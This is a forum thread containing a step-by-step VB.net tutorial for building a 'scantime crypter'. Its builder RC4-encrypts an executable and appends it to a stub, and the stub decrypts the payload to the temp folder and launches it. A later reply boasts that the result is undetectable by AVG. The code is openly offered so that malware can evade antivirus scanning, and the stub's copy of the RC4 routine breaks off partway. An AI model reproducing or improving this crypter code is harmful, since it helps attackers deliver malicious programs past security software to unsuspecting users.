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Subject: Making a scantime crypter - VB.net Mon Jun 21, 2010 11:17 am

Today we will go over a basic file crypter.

What You Need:

* Visual Basic 2008
* Textbox1
* Button1
* Button2

The Builder

Step 1
Change the text of Button1 to "Browse"

Change the text of Button2 to "Crypt"

Step 2

Put above Public Class Form1:

Code:: Imports System.Text

Now, put under Public Class Form1:

Code:: Const filesplit = "@Sonix@"

Change "Sonix

" to what ever you like.

Step 3

Double click the Button1 & put this code:

Code:: Dim openf As New OpenFileDialog
If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox1.Text = openf.FileName
Else : Exit Sub
End If

That will let you browse and select the file that you want to crypt.

Step 4

Double click Button2, and inset the code:

Code:: Dim filein, filename, stub As String
Dim lol As New SaveFileDialog
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = lol.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "sonixisthebest"))
FileClose(1)
MsgBox("Crypted!")
Me.Close()

This code will open the stub and make your crypted file.

Step 5

Put this code somewhere in the builder, but not in a sub.

Code:: Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

This code is RC4 encryption. There are many other encryption types, but I am using it for this tutorial.

Now, if your builder has no errors, we will now create the stub.

The Stub

Step 1

Put above Public Class Form1:

Code:: Imports System.Text

Now, put under Public Class Form1:

Code:: Const filesplit = "@Sonix@"

Make sure that what you put between:

Code:: "@ @"

is the same as in the builder. Otherwise it wont work.

Step 2

Inset into Private Sub Form1_Load:

Code:: On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "sonixisthebest")
FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
Me.Close()
End

This will be a part of what makes your file scantime.

Step 3

Once again, we need to add the RC4 function:

Code:: Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

Enjoy

Subject: Thnx a lot Wed Aug 15, 2012 7:01 am

A simple tut. it really work.Nice tut.and it fud from AVG.
but the app that i cypted does not open why?

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Making a scantime crypter - VB.net